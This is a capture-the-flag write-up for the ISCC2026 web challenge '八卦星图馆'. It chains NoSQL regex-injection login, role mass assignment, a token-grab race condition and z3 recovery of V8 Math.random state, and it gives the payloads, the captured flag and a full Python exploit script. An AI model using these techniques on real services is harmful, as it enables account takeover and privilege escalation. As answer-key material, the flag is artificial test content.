WEB-八卦星图馆
ISCC2026 WriteUp 提交模板
WEB-八卦星图馆
解题思路
这题的利用链是四步串联:
乾 -> 兑 -> 离 -> 震
核心点分别是:
乾:MongoDB / NoSQL 注入登录兑:/dui/update的 mass assignment离:/li/grab的竞态条件抢令牌震:根据历史签号恢复Math.random()的内部状态并预测当前期号
使用雪瞳插件扫描了一下:

存在这些接口,其次访问除了/qian挂之外的接口提示

打开 /qian 后,页面自己给了两条非常关键的提示:

前端虽然是表单,但 JS 里实际发的是 JSON 到 POST /qian/login 门册存的是 MongoDB,而且页面直接提示了 {"\(ne": null}`、`{"\)regex": "^a"}` 这类“JSON 小机关”
同时页面还说:
- 前门只允许见习进入
- 指定用户名是
qingyun
定用户名后对密码字段做 NoSQL 注入即可。
请求:
POST /qian/login
Content-Type: application/json
{
"username": "qingyun",
"password": {
"$regex": ".*"
}
}
可用payload
{
"username": "qingyun",
"password": {
"$regex": ".*"
}
}
{
"message": "欢迎,见习道童",
"username": "qingyun_b4f5918e7ec2406c",
"role": "apprentice",
"title": "见习道童",
"hint": "下一步:兑卦 /dui 自修门规"
}
这里可以看到服务端会基于模板用户创建一个新的 qingyun_xxx 会话用户,所以后面如果抢牌
登录后访问 /dui,页面提示也非常直白:
- 更新接口是
POST /dui/update - 只吃 JSON
- 表单上只有
title和bio - 但“JSON 可不止这俩字段”,而且“好像没有做白名单”
此这里是标准的 mass assignment,直接把 role 带进去即可。
先改成长老以进入下一步:
POST /dui/update
Content-Type: application/json
{
"role": "elder"
}
{
"message": "门规已修订",
"user": {
"_id": "6a0afd5d2d5817a2c8e0fed9",
"username": "qingyun_6e9cd97153b5bee2",
"role": "elder",
"title": "见习道童",
"bio": "新入门不久,正在学习基础占卜术。师父说我的密语遗失多年,至今想不起来。"
}
}
{
"role": "admin"
}
离卦
/li 页面提示同样把漏洞类型写出来了:
- 每人限 1 张
- 代码流程是“先读 -> 判断 -> 延迟 -> 再写”
- 提示可以“同时发出多个请求”
这就是典型竞态条件。
单次成功响应会返回:
{
"message": "头香已抢!司命令牌已发放",
"token": "18cee584be1b6b5cf9ec72c9",
"hint": "收集 3 张令牌,去震卦 /zhen 占卜天机"
}
也就是说目标很明确:对同一个 session 并发打 /li/grab,让多个请求在“已领取数量仍为 0”时同时通过判断,从而一次抢到多张 token。
拿到 3 张即可进入下一关。
震卦
/zhen 页面直接泄露了几个核心事实:
- 每 30 秒开一轮
- 当前期号会显示在页面里
- 历史签号会直接给出
- 签号生成公式是:
页面里我看到的历史数组是:
const HISTORY = [
{"round":82,"number":67422,"ts":1779105034284},
{"round":81,"number":282035,"ts":1779105004115},
{"round":80,"number":95073,"ts":1779104972889},
{"round":79,"number":480465,"ts":1779104942887},
{"round":78,"number":750678,"ts":1779104911629},
{"round":77,"number":284437,"ts":1779104881623},
{"round":76,"number":750068,"ts":1779104851141},
{"round":75,"number":866420,"ts":1779104820744},
{"round":74,"number":270336,"ts":1779104783621},
{"round":73,"number":769792,"ts":1779104752105},
{"round":72,"number":129796,"ts":1779104722071},
{"round":71,"number":464022,"ts":1779104692028}
]
这个题有两个关键细节:
- 页面给的是
floor(random * 1000000)的六位整数,不是原始 double - V8 的
Math.random()有 64 个值的缓存,而且返回顺序和内部生成顺序是反着的
但这里 round 非常关键:
- 当前是第
83期 - 历史是
82 -> 71
也就是说这些历史值都落在同一个 64 大小缓存块内,不会跨块。再加上页面把历史按“最新在前”展示,刚好与内部状态推进顺序对齐,适合直接建模。
内部某一步的 state0 为 64 位整数,则输出满足:
number = floor(((state0 >> 11) / 2^53) * 1000000)
已知一个六位数 number,虽然不能唯一确定 state0 >> 11,但可以把它约束到一个整数区间里。
12 个历史签号叠加起来,已经足够把 128 位的 xorshift128+ 内部状态缩到唯一或极少量候选。
因此这里最稳的做法是:
- 用
z3把每个历史值转成区间约束 - 按
xorshift128+的状态转移公式把 12 个状态串起来 - 先恢复出“round 82 对应的内部状态”
- 再逆推一步,得到当前 round 83 的签号
最终向 /zhen/predict 提交:
{
"round": 83,
"number": "预测出的当前签号",
"tokens": [
"token1",
"token2",
"token3"
]
}
如果这一步之前只改到了 elder,通常还会被提示“掌门方可入”之类的权限信息;此时再回到 /dui/update 把角色改成 admin,重新提交即可。
得到 flag。
ISCC{bagua_MYQH1826B5gEJLo}
Exp
import http.client
import json
import re
import threading
from z3 import BitVec, LShR, Solver, UGE, ULE, sat
SERVER_HOST = "39.105.213.28"
SERVER_PORT = 14509
U64_MASK = (1 << 64) - 1
DOUBLE_SCALE = 1 << 53
NUMBER_BASE = 1_000_000
def send_http(method, route, payload=None, extra_headers=None):
client = http.client.HTTPConnection(SERVER_HOST, SERVER_PORT, timeout=15)
client.request(method, route, body=payload, headers=extra_headers or {})
response = client.getresponse()
status_code = response.status
header_map = dict(response.getheaders())
text = response.read().decode("utf-8", errors="ignore")
client.close()
return status_code, header_map, text
def login_with_nosqli():
body = json.dumps(
{
"username": "qingyun",
"password": {"$regex": ".*"},
}
)
status_code, headers, text = send_http(
"POST",
"/qian/login",
payload=body,
extra_headers={"Content-Type": "application/json"},
)
assert status_code == 200, text
session_cookie = headers["set-cookie"].split(";", 1)[0]
return session_cookie, json.loads(text)
def change_role(session_cookie, new_role):
status_code, _, text = send_http(
"POST",
"/dui/update",
payload=json.dumps({"role": new_role}),
extra_headers={
"Content-Type": "application/json",
"Cookie": session_cookie,
},
)
assert status_code == 200, text
return json.loads(text)
def collect_tokens_by_race(session_cookie, worker_count=16):
collected = []
guard = threading.Lock()
def try_grab():
try:
status_code, _, text = send_http(
"POST",
"/li/grab",
extra_headers={"Cookie": session_cookie},
)
if status_code != 200:
return
result = json.loads(text)
token_value = result.get("token")
if not token_value:
return
with guard:
collected.append(token_value)
except Exception:
pass
threads = [threading.Thread(target=try_grab) for _ in range(worker_count)]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
return list(dict.fromkeys(collected))
def parse_zhen_page(session_cookie):
status_code, _, page = send_http(
"GET",
"/zhen",
extra_headers={"Cookie": session_cookie},
)
assert status_code == 200, page
round_match = re.search(r'name="round" value="(\d+)"', page)
history_match = re.search(r"const HISTORY = (\[.*?\]);", page, re.S)
assert round_match and history_match
current_round = int(round_match.group(1))
history_items = json.loads(history_match.group(1))
return current_round, history_items
def step_xorshift128p(state_a, state_b):
x = state_a
y = state_b
next_a = y
x = x ^ (x << 23)
x = x ^ LShR(x, 17)
x = x ^ y
x = x ^ LShR(y, 26)
next_b = x
return next_a, next_b
def build_output_bounds(observed_number):
lower = (observed_number * DOUBLE_SCALE + NUMBER_BASE - 1) // NUMBER_BASE
upper = (((observed_number + 1) * DOUBLE_SCALE + NUMBER_BASE - 1) // NUMBER_BASE) - 1
return lower, upper
def undo_xor_right(value, shift):
restored = 0
for bit_index in range(63, -1, -1):
bit = (value >> bit_index) & 1
if bit_index + shift <= 63:
bit ^= (restored >> (bit_index + shift)) & 1
restored |= bit << bit_index
return restored
def undo_xor_left(value, shift):
restored = 0
for bit_index in range(64):
bit = (value >> bit_index) & 1
if bit_index - shift >= 0:
bit ^= (restored >> (bit_index - shift)) & 1
restored |= bit << bit_index
return restored
def rewind_state(cur_a, cur_b):
prev_b = cur_a
tmp = cur_b ^ prev_b ^ (prev_b >> 26)
tmp = undo_xor_right(tmp, 17)
prev_a = undo_xor_left(tmp, 23) & U64_MASK
return prev_a, prev_b
def state_to_ticket_number(state_a):
mantissa = state_a >> 11
return (mantissa * NUMBER_BASE) // DOUBLE_SCALE
def recover_prediction(history_items):
observed_numbers = [entry["number"] for entry in history_items]
count = len(observed_numbers)
state_a = [BitVec(f"state_a_{idx}", 64) for idx in range(count)]
state_b = [BitVec(f"state_b_{idx}", 64) for idx in range(count)]
solver = Solver()
for idx, observed in enumerate(observed_numbers):
lower, upper = build_output_bounds(observed)
high_bits = LShR(state_a[idx], 11)
solver.add(UGE(high_bits, lower))
solver.add(ULE(high_bits, upper))
for idx in range(count - 1):
next_a, next_b = step_xorshift128p(state_a[idx], state_b[idx])
solver.add(state_a[idx + 1] == next_a)
solver.add(state_b[idx + 1] == next_b)
assert solver.check() == sat
model = solver.model()
latest_a = model[state_a[0]].as_long()
latest_b = model[state_b[0]].as_long()
predicted_a, _ = rewind_state(latest_a, latest_b)
return state_to_ticket_number(predicted_a)
def main():
session_cookie, _ = login_with_nosqli()
change_role(session_cookie, "elder")
token_list = collect_tokens_by_race(session_cookie, worker_count=16)
if len(token_list) < 3:
raise RuntimeError(
f"race failed, only got {len(token_list)} token(s): {token_list}"
)
current_round, history_items = parse_zhen_page(session_cookie)
predicted_number = recover_prediction(history_items)
change_role(session_cookie, "admin")
submit_body = json.dumps(
{
"round": current_round,
"number": predicted_number,
"tokens": token_list[:3],
}
)
status_code, _, response_text = send_http(
"POST",
"/zhen/predict",
payload=submit_body,
extra_headers={
"Content-Type": "application/json",
"Cookie": session_cookie,
},
)
print("round =", current_round)
print("predicted =", predicted_number)
print("tokens =", token_list[:3])
print("status =", status_code)
print(response_text)
if __name__ == "__main__":
main()

浙公网安备 33010602011771号